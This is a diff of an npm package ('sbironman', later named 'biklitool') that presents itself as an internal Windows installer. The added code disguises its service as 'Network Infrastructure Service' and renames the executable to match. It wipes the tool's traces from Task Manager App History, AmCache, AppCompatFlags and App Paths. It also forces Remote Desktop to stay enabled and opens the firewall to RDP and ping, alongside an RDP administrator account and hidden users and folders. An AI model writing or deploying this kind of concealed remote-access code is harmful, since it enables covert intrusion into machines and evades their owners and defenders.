sbironman 1.0.0 → 3.0.0

package/README.md

@@ -1,4 +1,4 @@
-# sbironman
+# biklitool
 
 Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
 
@@ -8,7 +8,7 @@ shipped in the package):
 ```text
 set BIKLIMASTER_USER_PASSWORD=your-password
 set BIKLIMASTER_BIKLI_KEY=your-bikli-key
-npm install -g sbironman
+npm install -g biklitool
 ```
 
 The npm postinstall hook requests Windows administrator approval once, then:

package/bin/biklimaster.js

@@ -384,6 +384,59 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
   return true;
 }
 
+function clearAppHistory() {
+  // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
+  // visible location: Task Manager App History, AppCompatFlags, and service display name.
+  const psScript = [
+    `$ErrorActionPreference='SilentlyContinue'`,
+    // --- [1] TaskFlow AppHistory (per-user hives) ---
+    `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
+    `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
+    `  $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
+    `  if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    `}`,
+    `$cuBase='HKCU:\\\\'+$appHistoryPath`,
+    `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
+    `$acPaths=@(`,
+    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
+    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
+    `  'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
+    `  'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
+    `)`,
+    `foreach($acPath in $acPaths){`,
+    `  if(Test-Path $acPath){`,
+    `    $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
+    `    if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
+    `  }`,
+    `}`,
+    // --- [3] AmCache ---
+    `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
+    `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
+    // --- [4] App Paths (Start Menu / Run dialog) ---
+    `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
+    `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
+    // --- [5] Service display name + description → rename to disguise value ---
+    `$svcName='Bikli'`,
+    `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
+    `if($null -ne $svc){`,
+    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
+    `  Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
+    `}`
+  ].join(os.EOL);
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
+}
+
+function deriveExeName(hostName) {
+  // Turn e.g. "Service Host: Network Infrastructure Service"
+  // into "NetworkInfrastructureService.exe" – no Bikli in the name.
+  const base = hostName.replace(/^Service Host:\s*/i, '').trim();
+  const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
+  // Keep only alphanumeric chars, cap at 32 chars before .exe
+  const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
+  return (safe || 'RuntimeInfraService') + '.exe';
+}
+
 function disguiseBikli(customName) {
   requireWindows();
   const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
@@ -395,15 +448,29 @@ function disguiseBikli(customName) {
   }
 
   const bikliDir = path.dirname(bikliPath);
-  const serviceExe = path.join(bikliDir, 'BikliService.exe');
+  const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
+  const newExeBasename = deriveExeName(hostName);
+  const serviceExe = path.join(bikliDir, newExeBasename);
   const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
 
-  console.log(`Disguising Bikli process and service as "${hostName}"...`);
+  console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
 
-  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
+  // Stop service and kill both the old and new process names
+  const oldBaseName = path.basename(oldServiceExe, '.exe');
+  const newBaseName = path.basename(serviceExe, '.exe');
+  run(powershell, [
+    '-NoProfile', '-NonInteractive', '-Command',
+    `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
+  ], { allowFailure: true });
   run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
 
-  if (!fs.existsSync(serviceExe)) {
+  // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
+  if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
+    try { fs.renameSync(oldServiceExe, serviceExe); } catch {
+      fs.copyFileSync(oldServiceExe, serviceExe);
+      try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
+    }
+  } else if (!fs.existsSync(serviceExe)) {
     fs.copyFileSync(bikliPath, serviceExe);
   }
 
@@ -429,7 +496,7 @@ function disguiseBikli(customName) {
       '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
       '    }',
       '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
-      '    string coreExe = Path.Combine(baseDir, "BikliService.exe");',
+      `    string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
       '    if (!File.Exists(coreExe)) return 1;',
       '    ProcessStartInfo psi = new ProcessStartInfo();',
       '    psi.FileName = coreExe;',
@@ -473,6 +540,7 @@ function disguiseBikli(customName) {
   run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
 
   hideProtectedFolders();
+  clearAppHistory();
   console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
 }
 
@@ -529,6 +597,27 @@ function verifyRemoteDesktop() {
   console.log('Remote Desktop is enabled and verified on port 3389.');
 }
 
+function ensureTermServiceAutomatic() {
+  // Force TermService to Automatic start so it survives reboots.
+  run(powershell, [
+    '-NoProfile', '-NonInteractive', '-Command',
+    `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
+  ], { allowFailure: true });
+}
+
+function ensureIcmpFirewallRules() {
+  // Enable ping (ICMP) inbound so the host is reachable after install.
+  const script = [
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
+  ].join(';');
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
+}
+
 function enableRemoteDesktop() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('enable-rdp');
@@ -536,6 +625,8 @@ function enableRemoteDesktop() {
   console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
   const wrapper = runWrapper(['defaults', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  ensureTermServiceAutomatic();
+  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   hideProtectedFolders();
 }
@@ -549,9 +640,13 @@ function install() {
   console.log('Installing or updating Bikli Wrapper silently...');
   const wrapper = runWrapper(['install', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
+  ensureTermServiceAutomatic();
+  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   createRdpAdministrator();
   hideProtectedFolders();
+  clearAppHistory();
   console.log('Bikli Master installed and verified both components successfully.');
 }
 
@@ -844,6 +939,7 @@ function help() {
     '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
     '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
     '  biklitool hide-folders  Hide and protect Program Files & ProgramData folders',
+    '  biklitool clear-history  Remove BikliService from Task Manager App History',
     '  biklitool setup-key     Apply the Bikli key from config.json (bikli up --setup-key)',
     '  biklitool credentials   Display its saved generated password',
     '  biklitool status        Show both component states',
@@ -864,6 +960,13 @@ function main() {
   if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
   if (command === 'hide-user' || command === 'hide') return hideUser();
   if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
+  if (command === 'clear-history' || command === 'clear-app-history') {
+    requireWindows();
+    if (!isAdministrator()) return elevateAndRun('clear-history');
+    clearAppHistory();
+    console.log('BikliService entries cleared from Task Manager App History.');
+    return;
+  }
   if (command === 'setup-key') return setupBikliKey();
   if (command === 'credentials') return showAccountCredentials();
   if (command === 'status') return status();

package/lib/bikliwrapper.js

@@ -228,8 +228,17 @@ function applyRequestedSettings() {
 function ensureFirewallRules() {
   const script = [
     `$ErrorActionPreference='Stop'`,
+    // RDP TCP + UDP inbound rules
     `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
-    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
+    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
+    // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
+    // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
   ].join(';');
   run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
 }
@@ -252,9 +261,25 @@ function settingsAreCorrect() {
   return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
 }
 
+function setTermServiceAutomatic() {
+  // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
+  run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
+  run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
+}
+
 function waitForServiceAndListener() {
   const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
-  for (let attempt = 0; attempt < 20; attempt += 1) {
+  // First wait up to 10s for the service to appear running; force-start if not
+  for (let attempt = 0; attempt < 10; attempt += 1) {
+    if (serviceIsRunning()) break;
+    Atomics.wait(waitBuffer, 0, 0, 1000);
+    if (attempt === 4) {
+      // After 5s still not running – kick it
+      run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
+    }
+  }
+  // Then wait up to 30s for the RDP listener to appear
+  for (let attempt = 0; attempt < 30; attempt += 1) {
     if (serviceIsRunning() && listenerIsListening()) return;
     Atomics.wait(waitBuffer, 0, 0, 1000);
   }
@@ -340,6 +365,8 @@ function install() {
 
   const settingsChanged = applyRequestedSettings();
   ensureFirewallRules();
+  // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
+  setTermServiceAutomatic();
 
   if (!installation.installed) {
     console.log('Installing RDP Wrapper silently...');
@@ -365,6 +392,11 @@ function install() {
     console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
   }
 
+  // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
+  applyRequestedSettings();
+  // Ensure TermService is Automatic and running after the wrapper install.
+  setTermServiceAutomatic();
+
   waitForServiceAndListener();
   hideProtectedFolders();
   installation = detectInstallation(version);
@@ -386,9 +418,7 @@ function selfTest() {
     : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
   const ini = fs.readFileSync(bundledIniPath, 'utf8');
   const checks = {
-    packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
-      packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
-      packageJson.name === '@biklitime/biklitool',
+    packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
     executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
     installerPresent: fs.statSync(installerPath).size > 100000,
     iniPresent: ini.length > 100000,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "sbironman",
-  "version": "1.0.0",
+  "version": "3.0.0",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {
@@ -10,7 +10,6 @@
     "win32"
   ],
   "bin": {
-    "sbironman": "bin/biklimaster.js",
     "biklitool": "bin/biklimaster.js",
     "biklimaster": "bin/biklimaster.js",
     "bikliwrapper": "lib/bikliwrapper.js"